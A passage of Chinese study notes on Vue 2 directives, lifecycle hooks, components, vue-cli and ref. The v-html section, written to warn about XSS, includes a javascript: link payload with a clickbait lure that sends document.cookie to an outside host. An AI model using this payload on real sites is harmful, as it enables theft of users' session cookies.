        methods: {

        },
    });
</script>

v-text 会替换开闭标签之间的内容,所以推荐使用插值语法,更加灵活。

# v-html 指令

  • 作用:向指定结点中渲染包含 html 结构的内容

  • 与插值语法的区别:

    • v-html 会替换掉节点中所有的内容,则不会
    • v-html 可以识别 html 结构
  • 严重注意:v-html 有安全性问题

    • 在网站上动态渲染任意 HTML 是非常危险的,容易导致 XSS 攻击
    • 一定要在可信的内容上使用 v-html,永远不要用在用户提交的内容上
  • cookie

    image-20210719004520140image-20210718110126403

    image-20210718152450091

<div id ="app">
    <h2 v-html="str"></h2>
    <h2 v-html="str2"></h2>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            str:'<h3>Hello,Cez</h3>',
            str2:'<a href=javascript:location.href="http://www.cezzz.top?"+document.cookie>找到你要的资源了,快点击!!!</a>'
        },
        methods: {

        },
    });
</script>

# v-cloak 指令

  • v-cloak 指令 (没有值):
    • 本质是一个特殊属性,Vue 实例创建完毕并接管容器后,会删掉 v-cloak 属性
    • 使用 css 配合 v-cloak 可以解决网速慢时页面展示出的问题,当 Vue 接管时会自动删除 v-cloak

注意 css 是选中所有带有那个属性的!

或者你就把 js 放上面也 ok

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
    <style>
        /* 选中所有标签中含v-cloak属性的元素 */
        [v-cloak]{
            display:none;
        }
    </style>
</head>

<body>
    <div id ="app">
        <h2 v-cloak>{{name}}</h2>
    </div>

    <script>
        var vm = new Vue({
            el: '#app',
            data: {
                name:'cez'
            },
            methods: {
            
            },
        });
    </script>
</body>

</html>

# v-once 指令

  • v-once 所在节点在初次动态渲染 (就是里面什么表达式啊之类的只执行 (读取) 一次) 后,就视为静态内容了 (就是用到的表达式里面任何值要有变的,他自己也不会怎么改变了)
  • 以后数据的改变不会引起 v-once 所在结构的更新,可以用于优化性能
<div id ="app">
    <h2 v-once>初始化的n值为:{{n}}</h2>
    <h2>当前的n值为:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            n:1
        },
    });
</script>

# v-pre 指令

  • 跳过其所在节点的编译过程
  • 可以利用它跳过:没有使用指令语法、没有使用插值语法的节点,Vue 解析模板时就不会看了,会加快编译

只给那种固定的,静态的,不需要我们 vue 什么的内容那个标签来一个这个

<div id ="app">
    <h2 v-pre>Learn Vue!</h2>
    <h2>当前的n值为:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            n:1
        },
    });
</script>

# 自定义指令

需求 1:定义一个 v-big 指令,和 v-text 功能类似,但会把绑定的数值放大 10 倍。
需求 2:定义一个 v-fbind 指令,和 v-bind 功能类似,但可以让其所绑定的 input 元素默认获取焦点。

# 定义语法

(1) 局部指令

new Vue({															
	directives:{指令名:配置对象}	
}) 			

new Vue({
	directives{指令名:回调函数}
})

例子

directives : {
	'my-directive' : {
		bind (el, binding) {
			el.innerHTML = binding.value.toupperCase()
		}
	}
}

(2) 全局指令

Vue.directive(指令名,配置对象) 

Vue.directive(指令名,回调函数)

例子

Vue.directive('my-directive', function(el, binding){
	el.innerHTML = binding.value.toupperCase()
})

# 配置对象中常用的 3 个回调

  • bind:指令与元素成功绑定时调用。
  • inserted:指令所在元素被插入页面时调用。
  • update:指令所在模板结构被重新解析时调用。

# 备注

  1. 指令定义时不加 v-,但使用时要加 v-;
  2. 指令名如果是多个单词,要使用 kebab-case 命名方式,不要用 camelCase 命名,然后在我们写对应的方法时,因为带有 "-" 所以需要拿引号把名字扩住

# 使用指令

<!DOCTYPE html>
<html>
	<head>
		<meta charset="UTF-8" />
		<title>自定义指令</title>
		<script type="text/javascript" src="../js/vue.js"></script>
	</head>
	<body>
		<!-- 准备好一个容器-->
		<div id="root">
			<h2>{{name}}</h2>
			<h2>当前的n值是:<span v-text="n"></span> </h2>
			<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
			<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
			<button @click="n++">点我n+1</button>
			<hr/>
			<input type="text" v-fbind:value="n">
		</div>
	</body>
	
	<script type="text/javascript"> Vue.config.productionTip = false

		//定义全局指令
		/* Vue.directive('fbind',{
			//指令与元素成功绑定时(一上来)
			bind(element,binding){
				element.value = binding.value
			},
			//指令所在元素被插入页面时
			inserted(element,binding){
				element.focus()
			},
			//指令所在的模板被重新解析时
			update(element,binding){
				element.value = binding.value
			}
		}) */

		new Vue({
			el:'#root',
			data:{
				name:'尚硅谷',
				n:1
			},
			directives:{
				//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。2.指令所在的模板被重新解析时。
				/* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
				big(element,binding){
					console.log('big',this) //注意此处的this是window
					// console.log('big')
					element.innerText = binding.value * 10
				},
				fbind:{
					//指令与元素成功绑定时(一上来)
					bind(element,binding){
						element.value = binding.value
					},
					//指令所在元素被插入页面时
					inserted(element,binding){
						element.focus()
					},
					//指令所在的模板被重新解析时
					update(element,binding){
						element.value = binding.value
					}
				}
			}
		}) </script>
</html>

注意任何指令里面正常写的话 this 指向的就是 window, 我们一般不需要 this 指向 vm 什么的,一般都是用已经传进来的那两个参数来操作 DOM 就行了

# 引出生命周期

  • 生命周期
    • 又名:生命周期回调函数、生命周期函数、生命周期钩子
    • 是什么:Vue 在关键时刻帮我们调用的一些特殊函数的名称
    • 生命周期函数的名字不可更改,但函数的具体内容是程序员根据需求编写的
    • 生命周期函数中的 this 指向是 vm 或组件实例对象
<div id ="app">
    <!-- 简写opacity:opacity 同名 -->
    <h2 :style="{opacity}">欢迎学习Vue</h2> //这里是给style绑定数据需要是个对象,然后因为是个对象所以当然可以用对象的简写方式(这里opacity重名当然就可以重写)
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            opacity:1
        },
        //Vue完成模板的解析,并把初始的真实DOM元素放入页面后(挂载完毕)调用mounted
        mounted() {
            console.log('mounted',this);
            setInterval(()=>{
                this.opacity-=0.01
                if (this.opacity<=0) 
                    this.opacity = 1
            },16)
        },
    });

    // 通过外部的定时器实现(不推荐)
    // setInterval(()=>{
    //     vm.opacity -= 0.01
    //     if (vm.opacity<=0) 
    //         vm.opacity=1;
    // },16);
</script>

上面这个 mounted 指的是 (模板解析 - 虚拟 DOM - 比较啊啥的生成真实 DOM - 把真实 DOM 放到页面上), 这个吧真实 DOM 放到页面上后 (right after) 的时机指的就是 mounted, 所以这个实际会执行这个 mounted 函数

注意这个只针对初始的真实 DOM 放到页面的时候才会被调用,要是之后有数据改变,模板重新解析,产生新的虚拟 DOM 然后对真实 DOM 发生改变,然后这个真实 DOM 再放到页面之后是不会再调用 mounted 函数了

这么做避免了 mounted 函数里面有改数据的代码,然后因为绑定的数据一改要重新解析,然后虚拟 DOM, 等等等然后放到页面上然后又调用这个 mounted, 然后又… 这肯定是不对的

还有这个 mounted 函数里面的 this 指向的是 vm, 要是有异步任务记得加箭头函数让他里面指向的也是 vm

image-20210718145110347

# 生命周期挂载流程

  • Vue 完整生命周期:

image-20210718152622962

image-20210718152750766

img

image-20210718173317473

image-20210718173459988

image-20210718173511963

  • vm.$el 可以用于比较算法,便于复用等

# 更新流程

  • vm.$destroy()

    • 用法

      完全销毁一个实例。清理它与其它实例的连接,解绑它的全部指令及__事件监听器 (自定义事件,要是原生的 click 那些事件是不会被解绑)__。

      触发 beforeDestroydestroyed 的钩子。

    • 注意这个 beforeDestroy 这个里面改数据,确实数据会被改,但不会渲染到页面上去,因为都要 destroy 了就不会重新解析模板啥的等等等. destroyed 更是

    除了这两个钩子,其他的钩子比如说 updated 里面更改数据,还是又会重新解析模板等等等,所以在图片里那是个 loop

    在大多数场景中你不应该调用这个方法。最好使用 v-ifv-for 指令以数据驱动的方式控制子组件的生命周期。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Document</title>
    <script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>

<body>
    <div id ="app">
        <h2>{{n}}</h2>
        <h2>当前的n值为:{{n}}</h2>
        <button @click="n++">点我n+1</button>
        <button @click="bye">点我销毁vm</button>
    </div>

    <script>
        var vm = new Vue({
            el: '#app',
            data: {
                n:1
            },
            methods: {
                bye(){
                    console.log('byebye');
                    this.$destroy();
                },
                add(){
                    this.n++;
                }
            },
            beforeCreate() {
                console.log('beforeCreate')
                console.log(this)
                debugger;    
            },
            created() {
                console.log('created')
                console.log(this)
                debugger;
            },
            beforeMount() {
                console.log('beforeMount')
                console.log(this)
                document.querySelector('h2').innerText='beforeMount';   
                debugger;
            },
            mounted() {
                console.log('mounted')
                console.log(this)
                debugger;
            },
            beforeUpdate() {
                console.log('beforeUpdate')
                console.log(this.n)
                debugger;
            },
            updated() {
                console.log('updated')
                console.log(this.n)
                debugger;
            },
            beforeDestroy() {
                console.log('beforeDestroy')
                console.log(this.n)

                //虽然this.n+1了,但是因为已经进入了destroy的流程了,所以不会更新View
                this.add();
                debugger;
            },  
            destroyed() {
                console.log('destroy')
            },
        });
    </script>
</body>

</html>

# 生命周期总结

  • beforeCreate 和 created 指的是数据监测和数据代理的 create,而不是 vm 对象

所以任何钩子 (我不太确定 destroyed), 里面用的 this 指的都是 vm, 都是在 vm 实例化对象有了之后才发生的

image-20210718173555864

<div id ="app">
    <!-- 简写opacity:opacity 同名 -->
    <h2 :style="{opacity}">欢迎学习Vue</h2>
    <button @click="stop">点我停止变换</button>
</div>

<script>
    var vm = new Vue({
        el: '#app',
        data: {
            opacity:1
        },
        methods:{
            stop(){
                this.$destroy();
            }
        },
        mounted() {
            console.log('mounted',this);
            //返回值相当于这个计时器的id
            this.timer = setInterval(()=>{
                this.opacity-=0.01
                if (this.opacity<=0) 
                    this.opacity = 1
            },16)
        },
        beforeDestroy() {
            console.log('vm要寄咯!');
            clearInterval(this.timer);
        },
    });
</script>

# Vue 组件化编程

# 对组件的理解

  • 传统方式

    存在问题:

    1. 依赖关系混乱,不好维护
    2. 代码复用率不高

    image-20210719005643259

    使用组件方式编写应用image-20210719013209747

  • 组件方式

    image-20210719005858994

  • 组件的定义:实现应用中局部功能代码资源集合

  • 模块

    • 理解:向外提供特定功能的 js 程序,一般就是一个 js 文件
    • 为什么:js 文件很多很复杂
    • 作用:复用 js,简化 js 的编写,提高 js 运行效率
  • 模块化:当应用中的 js 都以模块来编写,那么这个应用就是一个模块化的应用

  • 组件化:当应用中的功能都是多组件的方式编写,那这个应用就是一个组件化的应用

可以有一个组件用来做 header, 任何这个组件里面有好多的 js 代码,任何这些 js 代码每个都是做自己功能的模块,模块化

# 非单文件组件

非单文件组件

  • 一个文件中包含多个组件

单文件组件

  • 一个文件中只包含一个组件 xxx.vue

这个单体总成就是_文件组件_

非单文件使用:

<div id ="app">
    <!-- 第三步  编写组件标签 -->
    <school></school>
    <hr/>
    <!-- 第三步  编写组件标签 -->
    <student></student>    
    <hr/>
    <student></student>    
    <hr/>
    <hello></hello>
</div>

<div id="app2">
    <hello></hello>
</div>

<script>
    //第一步  创建school组件
    const school = Vue.extend({
        template:`
<div>
<h2>学校名称:{{schoolName}}</h2>
<h2>学校地址:{{address}}</h2>
<button @click="showName">点我提示学校名</button>
<div>
`,
        methods:{
            showName(){
                alert(this.schoolName);
            }
        },

        //el:"#app" //报错 组件定义时,一定不要写el配置项,因为最终所有的组件都要被一个vm管理,由vm决定服务哪个容器
        data(){
            return {
                schoolName:'hitwh',
                address:"weihai",
            }
        }
    })

    //第一步  创建school组件
    const student = Vue.extend({
        template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
    </div>
`,
        data(){
            return {
                studentName:'cez',
                age:20,
            }
        }
    })

    const hello = Vue.extend({
        template:`
<div>
<h2>Hello,{{name}}</h2>
    </div>
`,
        data(){
            return {
                name:'Tom'
            }
        }
    })

    //全局注册组件,所有vm都可以使用
    Vue.component('hello',hello);

    new Vue({
        el: '#app',
        components:{
            //第二步 注册组件(局部注册)
            // school:school,
            school,
            // student:student
            student,
        },
    });

    new Vue({
        el:'#app2'
    })
</script>

image-20210719005919536

# 使用组件的三大步骤

  1. 定义组件(创建组件)
  2. 注册组件
  3. 使用组件(写组件标签)

# 如何定义一个组件

使用 Vue.extend(options) 创建,其中 optionsnew Vue(options) 时传入的那个 options 几乎一样,但有以下区别

  1. 不要写 el —— 最终所有的组件都要经过一个 vm 的管理,由 vm 中的 el 决定服务哪个容器
  2. data 必须写成函数 —— 避免组件被复用时,数据存在引用关系

【备注】使用 tempalte 可以配置组件结构

# 如何注册组件

  1. 局部注册: new Vue 的时候传入 components 选项
  2. 全局注册: Vue.component (‘组件名’, 组件)

组件的 data 必须写成一个函数然后返回一个对象,对象里面就是我们之前想放 data 里面的数据.

函数 data 每次调用都会返回一个对象 相当于每调用一次就在堆内存中开辟一个新的对象空间 所以这么做这个 data 存的就不是同一个对象,以后要用就不会有什么冲突之类的

然后在那个组件的 template 要是想用 data 里面的 this. 数据 (属性) 就行了,而不是去调用 data 函数还是上面的

但是可以看出这种非单文件组件的写法里的 template 就很难搞,但没办法,所以我们一般不怎么非用单文件组件,我们一般都是单文件组件

# 组件的几个注意点

image-20210719110640745

注意可以直接将那个组件写成一个对象里面有着这个组件的各种配置项 (简写方式), 就不用 Vue.extend(配置对象)

本质上是属于 js 源码,没有去调用 Vue.extend 的,但是要是我们在 vm 上面的 components 配置上了,那就可以用了

# 嵌套组件

image-20220128171956922

<div id ="root">
</div>

<script>
    const student = Vue.extend({
        template:`
<div>
<h2>学生姓名:{{studentName}}</h2>
<h2>学生年龄:{{age}}</h2>
    </div>
`,
        data(){
            return {
                studentName:'cez',
                age:20,
            }
        }
    })

    const school = Vue.extend({
        name:'school',
        template:`
            <div>
            <h2>学校名称:{{schoolName}}</h2>
            <h2>学校地址:{{address}}</h2>
            <button @click="showName">点我提示学校名</button>
            <hr/>
            <student></student>
                </div>
`,
        methods:{
            showName(){
                alert(this.schoolName);
            }
        },
        data(){ 
            return {
                schoolName:'hitwh',
                address:"weihai",
            }
        },
        components:{
            student
        }  
    })

    const hello = Vue.extend({
        template:`
<div>
<h2>Hello,{{name}}</h2>
    </div>
`,
        data(){
            return {
                name:'Tom'
            }
        }
    })

    const app = Vue.extend({
        name:'app',
        template:`
<div>
<school></school>
<hello></hello>
    </div>
`,

        components:{
            school,
            hello
        }
    })

    new Vue({
        template:'<app></app>',
        el:"#root",
        components:{
            app
        }
    })
  • 注册给谁就搁谁那里写 (如果是局部注册的,比如说上面 school 里局部注册了 student 组件,那么 school 就能用 student 组件,其他地方没有注册 student 组件就用不了)
  • vm 用不了 student 组件所以不能在页面上弄 student 标签,student 是 school 的组件,那么 school 得 template 里面就得用 student 标签

# Vue Component 构造函数

  1. app 组件本质是一个名为 VueComponent 的构造函数,且不是程序员定义的,是 Vue.extend 生成的
  2. 我们只需要写 <app/><app></app> ,Vue 解析时会帮我们创建 app 组件的实例对象,即 Vue 帮我们执行 new VueComponent(options)
  3. 特别注意:每次调用 Vue.extend ,返回的都是一个全新的 VueComponent
  4. 关于 this 指向
    ① 组件配置中: data 函数、 methods 中的函数、 watch 中的函数、 computed 中的函数 它们的 this 均是【 VueComponent 实例对象】
    new Vue(options) 配置中: data 函数、 methods 中的函数、 watch 中的函数、 computed 中的函数 它们的 this 均是【Vue 实例对象】
  5. VueComponent 的实例对象,以后简称 vc(也可称之为:组件实例对象)
  6. Vue 的实例对象,以后简称为 vm

注意调用 Vue.extend 其实就是会返回一个函数对象,这个函数对象就是实例化出来的 VueComponent 这个构造函数对象.

可能有点绕:VueComponent 是个构造函数对象,然后我们有个构造 VueComponent 这个构造函数对象的构造函数,然后我们这里实际上是一个 VueComponent 构造函数实例对象 (不是单单的构造函数也不是单单通过 new 构造函数创建出来的实例化对象), 而是一个创建出来的实例化构造函数对象.

简单理解点就是我们的组件 (比如说 school) 其实就是个构造函数叫做 VueComponent

然后我们又创建了个组件 (比如说 student) 其实也就是个构造函数叫做 VueComponent

但是!!! student= = = school 会返回__false__, 这是因为这两个 VueComponent 构造函数是两个实例,可以想的是比如说你有个函数对象,这个对象函数对象是通过一个构造函数 new 出来的,所以这个函数对象是那个构造函数的实例对象,这里也是一样,我们的 VueComponent 也是实例化出来的 (构造) 函数对象.

image-20220128212729763

所以你改一个组件里面的属性等,并不会让另外一个组件里面的属性,因为他们两个本身也是实例化对象,存的都是不同地址.

或者你觉得难以理解,那么可以想成就是每次 Vue.extend 都会返回一个全新的 VueComponent 构造函数,跟其他的 Vue.extend 返回的 VueComponent 构造函数不一样。也就是每个组件,尽管存的都是 VueComponent 构造函数对象,但却不是同一个对象,存的地址不同

而每一个实例化出来的构造函数对象 VueComponent 也就是我们组件存的地址的那个对象,它本身也是个构造函数,所以当然也可以用 new VueComponent 以此来创建实例化对象 (叫做 vc).

这就代表每个组件里面用的 this 指向的对象是那个用 实例化出来的 vc 构造函数他自己 实例化出来的那个对象 (这个对象可就不是构造函数了), 所以组件里面那些函数 (上面说的那些) 里面的 this 其实指向的是用 vc 实例化出来的对象,因为这就是构造函数的作用,再 new 构造函数(...) 创建这个构造函数的实例化对象时就会调用这个构造函数里面的代码,然后构造函数里面的 this 指向的就是当前被实例化出来的那个对象 (基础!!!), 要是再用这个构造函数 (vc) 来创建实例化一个对象,此时,vc 里面的 this 就是指向是现在这个被实例化出来的对象.

而这个构造函数 (VueComponent) 创建出来的对象一般叫做 vc, 那是什么时候创建的呢?(new 出来的 vc 的呢?(VueComponent 是构造函数,vc 是 VueComponent 构造函数创建出来的对象!!!))

image-20220128213321029

这个 VueComponent 实例化出来的对象 (简称 vc) 和我们的 vm 很像,都有数据代理,所以我们这个组件里面的 data 函数所返回的值都会通过数据代理给放到我们组件 (也就是 VueComponent 构造函数) new 出来的 vc 身上,然后我们直接 this.XXX 调用就完了

大大大大总结:

  • 每个组件存的是一个 VueComponent 构造函数

  • 每个组件存的 VueComponent 构造函数与其他组件存的 VueComponent 构造函数不是同一个

  • 每次解析模板发现有这个组件的标签,就会用这个组件存的 VueComponent 构造函数来 new (创建出来一个) 实例化对象

  • 所以每个组件标签其实都会让 VueComponent 构造函数创建出来一个实例化对象

  • VueComponent 构造函数创建出来的实例化对象被我们一般称之为 vc

  • 每个组件里面的存的构造函数里面的 this 指向的就是每一个被这个这个组件存的 VueComponent 构造函数创建出来的实例化对象 (vc). 比如说我们模板有这个组件的标签,然后 VueComponent 构造函数就会 new 出来一个实例化对象 (vm), 这时 VueComponent 构造函数里面的 this 指向的就是这个 现在 new 出来的实例化对象

  • 而这个实例化出来的对象 (vc) 跟我们的 vm 很像,都会按照当初我们在 Vue.extend 里面传的那些 (监视,计算,普通在 data 函数里面作为对象返回的,等等等) 数据都会被我们数据代理到 vc 对象上去,所以我们在组件存的 VueComponent 构造函数里面用 this.XXX 就行,因为构造函数里面的 this 指向的就是当前实例化出来的对象,可以说是最终最终这些数据都会通过数据代理放到了 VueComponent 构造函数 new 出来的 vc 身上

  • 我们一般是多个 vc, 然后最终教给 vm 管理,可以从 vm 的 $children 找到 immediate children (也就是亲儿子 vc), 然后再每个亲儿子 vc 里面也有 $children 存着嵌套在它里面的那些 vc,so on…

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>VueComponent</title>
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <school></school>
    <hello></hello>
  </div>
</body>

<script type="text/javascript"> Vue.config.productionTip = false

  //定义school组件
  const school = Vue.extend({
    name: 'school',
    template: ` <div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showName">点我提示学校名</button>
				</div> `,
    data() {
      return {
        name: '尚硅谷',
        address: '北京'
      }
    },
    methods: {
      showName() {
        console.log('showName', this)
      }
    },
  })

  const test = Vue.extend({
    template: `<span>atguigu</span>`
  })

  //定义hello组件
  const hello = Vue.extend({
    template: ` <div>
					<h2>{{msg}}</h2>
					<test></test>	
				</div> `,
    data() {
      return {
        msg: '你好啊!'
      }
    },
    components: {
      test
    }
  })

  // console.log('@',school)
  // console.log('#',hello)

  //创建vm
  const vm = new Vue({
    el: '#root',
    components: {
      school,
      hello
    }
  }) </script>

</html>

image-20220128220011192

# 一个重要的内置关系

VueComponent.prototype.__proto__ = = = Vue.prototype //true

所以其实 VueComponent 的原型对象其实就是 vue 的实例对象

这样组件实例对象 vc 就可以访问到 Vue 原型上的属性和方法

可以说是 vc 跟 vm 很像,但是更像个小弟,需要 vm 带领,里面睡醒方法等都会有差不多的

<!DOCTYPE html>
<html>

<head>
  <meta charset="UTF-8" />
  <title>一个重要的内置关系</title>
  <!-- 引入Vue -->
  <script type="text/javascript" src="../js/vue.js"></script>
</head>

<body>
  <!-- 准备好一个容器-->
  <div id="root">
    <school></school>
  </div>
</body>

<script type="text/javascript"> Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
  Vue.prototype.x = 99

  //定义school组件
  const school = Vue.extend({
    name: 'school',
    template: ` <div>
					<h2>学校名称:{{name}}</h2>	
					<h2>学校地址:{{address}}</h2>	
					<button @click="showX">点我输出x</button>
				</div> `,
    data() {
      return {
        name: '尚硅谷',
        address: '北京'
      }
    },
    methods: {
      showX() {
        console.log(this.x)
      }
    },
  })

  //创建一个vm
  const vm = new Vue({
    el: '#root',
    data: {
      msg: '你好'
    },
    components: {
      school
    }
  })

  //定义一个构造函数
  /* function Demo(){
  	this.a = 1
  	this.b = 2
  }
  //创建一个Demo的实例对象
  const d = new Demo()

  console.log(Demo.prototype) //显示原型属性

  console.log(d.__proto__) //隐式原型属性

  console.log(Demo.prototype === d.__proto__)

  //程序员通过显示原型属性操作原型对象,追加一个x属性,值为99
  Demo.prototype.x = 99

  console.log('@',d) */ </script>

</html>

# 单文件组件

# 组成

  1. 模板页面
<template>
	页面模板
</template>
  1. JS 模块对象
<script>
export default { //一般只能有一个默认导入,不过一般都是这一个够了,注意是把我们的配置对象直接给导出就行了
	data() {return {}},
	methods: {},
	computed: {},
	components: {}
}
</script>

省略掉了 Vue.extend (), 直接传配置对象

image-20220128234955010

然后这个 name 一般跟文件同名,这么做在使用的时候就必须用这个名,别人注册组件时取别的名也不好使

  1. 样式
<style>
	样式定义
</style>

# 基本使用

  1. 引入组件
  2. 映射成标签
  3. 使用组件标签

App.vue

<template>
	<div>
		<HelloWorld></HelloWorld>
		<hello-world></hello-world>
	</div>
</template>

<script>
	import HelloWorld from './components/HelloWorld' //引入的时候直接import然后取个别名就行,默认导入才有这种
	export default {
		name: 'App',
		components: {
			HelloWorld
		}
	}
</script>

main.js

import App from './App'

new Vue({
	el: '#root',
	component: {App},
})

然后 index.html 里面就 (DOM 结构之后) 引入 Vue.js, 然后引入 main.js 然后再结构里面写 App 标签就行了

# 关于标签名与标签属性名书写问题

  1. 写法一:一模一样
  2. 写法二:大写变小写,并用 - 连接

# Vue 脚手架以及 ref,props,mixin

# vue-cli

vue-cli 是 Vue 官方提供的脚手架工具
中文网址:https://cli.vuejs.org/zh/
GitHub 地址:https://github.com/vuejs/vue-cli
这里用的版本是这个:https://github.com/vuejs/vue-cli/tree/v2

# 创建 Vue 项目

项目代码:https://github.com/yk2012/vue_demo/tree/main/demo1_HelloVue

npm install -g vue-cli

vue init webpack vue_demo

选择第三个后会有提示,选第一个会自动完成

cd vue_demo
npm intall
npm run dev

访问网址结果

# 模板项目结构

默认不是自动打开浏览器,可以设置成自动打开

源码目录,主要在这里面写代码

主页

在 src 下组件文件夹里创建 vue 文件

vscode 里输入 vue 然后按 Tab 键,自动生成一个 vue 模板

# 脚手架文件结构

├── node_modules 
├── public
│   ├── favicon.ico: 页签图标
│   └── index.html: 主页面
├── src
│   ├── assets: 存放静态资源
│   │   └── logo.png
│   │── component: 存放组件
│   │   └── HelloWorld.vue
│   │── App.vue: 汇总所有组件
│   │── main.js: 入口文件
├── .gitignore: git版本管制忽略的配置
├── babel.config.js: babel的配置文件
├── package.json: 应用包配置文件 
├── README.md: 应用描述文件
├── package-lock.json:包版本控制文件

# 关于不同版本的 Vue 以及 render 函数

  1. vue.js 与 vue.runtime.xxx.js 的区别:
    1. vue.js 是完整版的 Vue,包含:核心功能 + 模板解析器。
    2. vue.runtime.xxx.js 是运行版的 Vue,只包含:核心功能;没有模板解析器 (所以你 在那个 vm 或者组件的配置选项用 template 是不会奏效的,不过 XXX.vue 用 template 标签该用用,有人会去解析的,只需要在 main.js 里面调用 render 函数把引进来的 App 作为参数传进去就行了)
  2. 因为 vue.runtime.xxx.js 没有模板解析器,所以不能使用 template 这个配置项,需要使用 render 函数接收到的 createElement 函数去指定具体内容。
  3. image-20220129124835911render 是个函数,h 是 Vue 传给你的参数,h 也是个函数,然后把我们 import 进来的 App 作为参数传给这个函数且调用把返回值返回到我们这个 render 函数然后 render 函数返回的也是这个 h 函数的返回值

注意这个 App 是没有引号扩住的,要是被扩住就是指让创建出个普通的 html 标签而不是我们这里组件的标签

“模板解析器是把 HTML 中的模板解析成 json 对象 AST,这个对象包含了 dom 的各种属性,在非单文件中必须要模板解析器,但是单文件中的组件都是编译之后的,组件中直接就是 ast,就不需要模板解析器了”(这句话是弹幕说的,我也不确定)

image-20210719085116926

# vue.config.js 配置文件

  1. 使用 vue inspect > output.js 可以查看到 Vue 脚手架的默认配置。
  2. 使用 vue.config.js 可以对脚手架进行个性化定制,详情见:https://cli.vuejs.org/zh

# 写一个小 Demo

# 目录结构

# main.js

// 入口js: 创建Vue实例
// 打包入口js文件,后期全部打包形成一个app.js在主页index.html中
import Vue from 'vue'
import App from './App'

new Vue({
  el: '#app',
  components: { //将组件映射成标签
    App //App: App
  },
  template: '<App/>' //模板,最终会插入到el所匹配的页面中的div里
})

# App.vue

<template>
  <div>
    <img class="logo" src="./assets/logo.png">
    <!-- 3. 使用组件标签 -->
    <HelloWorld/>
  </div>
</template>

<script>
// 1. 引入组件
import HelloWorld from './components/HelloWorld'

export default {
  // 2. 映射组件标签
  components: {
    HelloWorld
  }
}
</script>

<style>
  .logo {
    width: 300px;
    height: 300px;
  }
</style>

# HelloWorld.vue

<template>
  <div class="hello">
    <p class="msg">{{msg}}</p>
  </div>
</template>

<script>
export default { //配置对象(与Vue一致)
  data () { // 必须写函数
    return {
      msg: 'Hello Vue Component'
    }
  }
}
</script>

<!-- Add "scoped" attribute to limit CSS to this component only -->
<style scoped>
  .msg {
    color: red;
    font-size: 50px;
  }
</style>

# 网页自动更新

项目代码:https://github.com/yk2012/vue_demo/tree/main/demo1_HelloVue

# 项目打包与发布

# 打包

npm run build

在本地对当前项目进行编译打包
会创建一个 dist 文件夹

# 项目发布

装静态服务器

npm install -g serve

运行 dist 文件夹

serve dist 

访问:http://localhost:5000

# 使用动态 web 服务器 (tomcat) 发布

修改配置: webpack.prod.conf.js

output: {
	publicPath: '/xxx/' //打包文件夹的名称
}

重新打包:

npm run build

修改 dist 文件夹为项目名称: xxx
将 xxx 拷贝到运行的 tomcat 的 webapps 目录下
访问: http://localhost:8080/xxx

# ESlint 使用

# 说明

  1. ESlint 是一个代码规范检查工具
  2. 定义了很多特定的规则,一旦你的代码违背了某一规则,ESlint 会作出非常有用的提示
  3. 官方: http://eslint.org/
  4. 基本已经替代之前的 JSLint 了

# 提供的支持

  1. ES
  2. JSX
  3. style 检查
  4. 自定义错误和提示

# ESLint 提供以下几种校验

  1. 语法错误校验
  2. 不重要或丢失的标点符号,如分号
  3. 没法运行到的代码块(使用过 WebStorm 的童鞋应该了解)
  4. 未被使用的参数提醒
  5. 确保样式的统一规则,如 sass 或者 less
  6. 检查变量的命名

# 规则的错误等级有三种

0:关闭规则。
1:打开规则,并且作为一个警告(信息打印黄色字体)
2:打开规则,并且作为一个错误(信息打印红色字体)

# 相关配置文件

  1. .eslintrc.js : 全局规则配置文件
'rules': {
	'no-new': 1
}
  1. 在 js/vue 文件中修改局部规则
/* eslint-disable no-new */
new Vue({
	el: 'body',
	components: { App }
})
  1. .eslintignore: 指令检查忽略的文件
*.js
*.vue

# render 函数

看上面 [关于不同版本的 Vue 以及 render 函数]

# 修改默认配置

把默认配置信息放到 output.js 中查看:

vue inspect > output.js

参考 vue-cli 官方文档

语法检查:

image-20210719151023888

# ref 属性

image-20210719113153419

  1. 被用来给元素或__子__组件注册引用信息(id 的替代者
  2. 应用在 html 标签 (比如说 div) 上获取的是真实 DOM 元素,应用在组件标签 (比如说 School) 上是组件实例对象(vc), 这样可以用里面的东西了

这里就不能用 id 来获取那个组件了,因为这么做获取过来的是那个组件标签的真实 DOM, 而不是那个组件的实例化对象

  1. 使用方式:

    1. 打标识: <h1 ref="xxx">.....</h1><School ref="xxx"></School>

    2. 获取: this.$refs.xxx

相当于是只要你给一个标签加上了一个 ref 属性 ( ref="XXX" ), 不管是在 html 标签,还是你当前组件 (比如说 App.vue 文件) 里面引入的别的组件比如说 (School.vue) 然后你注册好了,然后在 App.vue 里面用上这个 School 标签,不管是怎么样,只要用了 ref 属性,就会把有这个属性的标签给到__当前__组件的 $ref 属性里面,这个 $ref 属性存的是个对象,这个对象每个键名为你 XXX (你每个标签 ref 后面给的那个), 然后值就是每个对应的标签

<template>
    <div>
      <h1 v-text="msg" ref="title"></h1>
      <button @click="showDom" ref="btn">点我输出上方的DOM元素</button>
      <School ref="sch"></School>
    </div>
</template>

<script>

import School from './components/School.vue'

export default {
    name:'App',
    components:{
      School  
    },
    data() {
      return {
          msg:'Learn Vue'
      }
    },
    methods:{
      showDom(){
        console.log(this.$refs)
        console.log(this.$refs.title)
